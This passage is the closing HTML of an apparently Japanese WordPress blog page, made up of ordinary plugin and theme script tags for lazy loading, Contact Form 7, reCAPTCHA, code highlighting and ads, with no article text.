observer=lozad(".lozad",{rootMargin:"0px 500px 500px"});observer.observe();</script> <script async data-wp-strategy="async" fetchpriority="low" id="comment-reply-js" src="https://security-blog-it.com/wp-includes/js/comment-reply.min.js?ver=7.1.4&fver=20260822051644"></script> <script id="cocoon-js-js-extra">var cocoon_localize_script_options={"is_lazy_load_enable":"1","is_fixed_mobile_buttons_enable":"1","is_google_font_lazy_load_enable":""};</script> <script id="cocoon-js-js" src="https://security-blog-it.com/wp-content/themes/cocoon/javascript.js?ver=7.1.4&fver=20201212115420"></script> <script id="cocoon-child-js-js" src="https://security-blog-it.com/wp-content/themes/cocoon-child/javascript.js?ver=7.1.4&fver=20200519063436"></script> <script id="eio-lazy-load-js-before">const eio_lazy_vars={"bg_min_dpr":1.1,"exactdn_domain":"","safe_paths":["\/wp-content\/plugins","\/wp-content\/themes","\/wp-includes\/"],"safe_domains":["security-blog-it.com","www.security-blog-it.com"],"skip_autoscale":0,"threshold":0,"use_dpr":1};Object.freeze(eio_lazy_vars);</script> <script async data-wp-strategy="async" id="eio-lazy-load-js" src="https://security-blog-it.com/wp-content/plugins/ewww-image-optimizer/includes/lazysizes.min.js?ver=891&fver=20261030040451"></script> <script id="wp-hooks-js" src="https://security-blog-it.com/wp-includes/js/dist/hooks.min.js?ver=f0f188028580e8dc1255&fver=20260822051644"></script> <script id="wp-i18n-js" src="https://security-blog-it.com/wp-includes/js/dist/i18n.min.js?ver=1dfe7db3940c23ea9216&fver=20260822051644"></script> <script id="wp-i18n-js-after">wp.i18n.setLocaleData({'text direction\u0004ltr':['ltr']});</script> <script id="swv-js" src="https://security-blog-it.com/wp-content/plugins/contact-form-7/includes/swv/js/index.js?ver=6.2.4.1&fver=20261030040539"></script> <script id="contact-form-7-js-translations">(function(domain,translations){var localeData=translations.locale_data[domain]||translations.locale_data.messages;localeData[""].domain=domain;wp.i18n.setLocaleData(localeData,domain)})("contact-form-7",{"translation-revision-date":"2026-10-30 09:04:34+0000","generator":"GlotPress\/4.1.0","domain":"messages","locale_data":{"messages":{"":{"domain":"messages","plural-forms":"nplurals=1; plural=0;","lang":"ja_JP"},"This contact form is placed in the wrong place.":["\u3053\u306e\u30b3\u30f3\u30bf\u30af\u30c8\u30d5\u30a9\u30fc\u30e0\u306f\u9593\u9055\u3063\u305f\u4f4d\u7f6e\u306b\u7f6e\u304b\u308c\u3066\u3044\u307e\u3059\u3002"],"Error:":["\u30a8\u30e9\u30fc:"]}},"comment":{"reference":"includes\/js\/index.js"}});</script> <script id="contact-form-7-js-before">var wpcf7={"api":{"root":"https:\/\/security-blog-it.com\/wp-json\/","namespace":"contact-form-7\/v1"}};</script> <script id="contact-form-7-js" src="https://security-blog-it.com/wp-content/plugins/contact-form-7/includes/js/index.js?ver=6.2.4.1&fver=20261030040539"></script> <script id="google-invisible-recaptcha-js-before">var renderInvisibleReCaptcha=function(){if(typeof grecaptcha==='undefined'||typeof grecaptcha.render!=='function')return;for(var i=0;i<document.forms.length;++i){var form=document.forms[i];var holder=form.querySelector(".inv-recaptcha-holder");if(null===holder||holder.closest('form')!==form||holder.getAttribute('data-invre-rendered'))continue;holder.innerHTML='';try{(function(frm,holderElm){var cf7SubmitElm=frm.querySelector('.wpcf7-submit, .invisible-recaptcha-do-submit');var holderId=grecaptcha.render(holderElm,{'sitekey':null,'size':'invisible','badge':"bottomright",'callback':function(recaptchaToken){if((null!==cf7SubmitElm)&&(typeof jQuery!='undefined')){jQuery(frm).submit();grecaptcha.reset(holderId);return}HTMLFormElement.prototype.submit.call(frm)},'expired-callback':function(){grecaptcha.reset(holderId)}});holderElm.setAttribute('data-invre-rendered','1');if(null!==cf7SubmitElm&&(typeof jQuery!='undefined')){jQuery(cf7SubmitElm).off('click').on('click',function(clickEvt){clickEvt.preventDefault();grecaptcha.execute(holderId)})}else{frm.onsubmit=function(evt){evt.preventDefault();grecaptcha.execute(holderId)}}})(form,holder)}catch(err){if(window.console&&console.error)console.error('Invisible reCAPTCHA:',err)}}};(function(){var scheduled=!1;var scheduleRender=function(){if(scheduled)return;scheduled=!0;setTimeout(function(){scheduled=!1;renderInvisibleReCaptcha()},50)}; var bindJqueryEvents=function(){if(typeof jQuery=='undefined'||bindJqueryEvents.done)return;bindJqueryEvents.done=!0;jQuery(document).on('gform_post_render gform_page_loaded',scheduleRender)};bindJqueryEvents();document.addEventListener('DOMContentLoaded',bindJqueryEvents);window.addEventListener('load',bindJqueryEvents); if(window.MutationObserver){new MutationObserver(function(mutations){for(var m=0;m<mutations.length;++m){for(var n=0;n<mutations[m].addedNodes.length;++n){var node=mutations[m].addedNodes[n];if(1===node.nodeType&&('FORM'===node.tagName||(node.querySelector&&node.querySelector(".inv-recaptcha-holder")))){scheduleRender();return}}}}).observe(document.documentElement,{childList:!0,subtree:!0})}})();</script> <script id="google-invisible-recaptcha-js" async defer src="https://www.google.com/recaptcha/api.js?onload=renderInvisibleReCaptcha&render=explicit"></script> <script id="google-recaptcha-js" src="https://www.google.com/recaptcha/api.js?render=6LfTLWoaAAAAAMbGKeky9kChOWdP8ep7Etb-18iD&ver=3.0"></script> <script id="wp-polyfill-js" src="https://security-blog-it.com/wp-includes/js/dist/vendor/wp-polyfill.min.js?ver=3.15.0&fver=20260822051644"></script> <script id="wpcf7-recaptcha-js-before">var wpcf7_recaptcha={"sitekey":"6LfTLWoaAAAAAMbGKeky9kChOWdP8ep7Etb-18iD","actions":{"homepage":"homepage","contactform":"contactform"}};</script> <script id="wpcf7-recaptcha-js" src="https://security-blog-it.com/wp-content/plugins/contact-form-7/modules/recaptcha/index.js?ver=6.2.4.1&fver=20261030040539"></script> <script id="hcb-prism-js" src="https://security-blog-it.com/wp-content/plugins/highlighting-code-block/assets/js/prism.js?ver=2.2.1&fver=20260702040424"></script> <script id="clipboard-js" src="https://security-blog-it.com/wp-includes/js/clipboard.min.js?ver=2.0.11&fver=20230416123737"></script> <script id="hcb-script-js-extra">var hcbVars={"showCopyBtn":"1","copyBtnLabel":"\u30b3\u30fc\u30c9\u3092\u30af\u30ea\u30c3\u30d7\u30dc\u30fc\u30c9\u306b\u30b3\u30d4\u30fc\u3059\u308b"};</script> <script id="hcb-script-js" src="https://security-blog-it.com/wp-content/plugins/highlighting-code-block/build/js/hcb_script.js?ver=2.2.1&fver=20260702040424"></script> <script async src="//pagead2.googlesyndication.com/pagead/js/adsbygoogle.js"></script> </div><!-- #container --> </body> </html>